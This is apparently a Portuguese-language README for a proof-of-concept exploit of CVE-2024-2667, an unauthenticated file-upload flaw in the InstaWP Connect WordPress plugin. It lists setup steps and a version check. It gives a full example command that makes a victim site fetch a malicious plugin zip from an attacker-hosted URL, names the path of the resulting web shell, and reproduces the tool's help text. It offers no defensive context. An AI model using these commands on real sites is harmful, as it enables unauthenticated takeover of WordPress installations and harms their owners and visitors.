
Exploit PoC para CVE-2024-2667: upload automatizado de arquivos arbitrários e acesso a shell por meio de validação insuficiente de arquivos no endpoint da API REST do plugin InstaWP Connect do WordPress.
O plugin InstaWP Connect – 1-click WP Staging & Migration para WordPress é vulnerável a upload arbitrário de arquivos devido à validação insuficiente de arquivos no endpoint da API REST /wp-json/instawp-connect/v1/config em todas as versões até, e incluindo, 0.1.0.22. Isso possibilita que atacantes não autenticados façam upload de arquivos arbitrários.
| Descrição | Detalhes | Ícone |
|---|
| Instalar Bibliotecas Necessárias | Use pip para instalar as bibliotecas Python necessárias: requests e beautifulsoup4. | 🛠️ |
| Comando para Instalar | Execute: pip install requests beautifulsoup4. | 📥 |
| Descrição | Detalhes | Ícone |
|---|---|---|
| Executar o Script | Execute o script usando a linha de comando com os argumentos necessários. | 🚀 |
| Argumentos Necessários | - -up: URL do plugin (ex.: http://attacker-domain/malicious-plugin.zip). | |
- -u: URL do WordPress de destino (ex.: http://victim-domain/). | 🔧 | |
| Comando de Exemplo | python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/ | 📜 |
| Descrição | Detalhes | Ícone |
|---|---|---|
| Verificação de Versão | O script examina o arquivo readme.txt para verificar a versão do plugin alvo. | 🔍 |
| Versão Vulnerável | Se a versão for <= 0.1.0.22, o script exibe: The site is vulnerable. | ⚠️ |
| Versão Segura | Se a versão for > 0.1.0.22, o script exibe: The site is not vulnerable. | ✅ |
| Descrição | Detalhes | Ícone |
|---|---|---|
| Caminho do Shell | Se o upload for bem-sucedido, o shell estará acessível em: | 🐚 |
wp-content/plugins/instawp-connect/shell.php. |
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).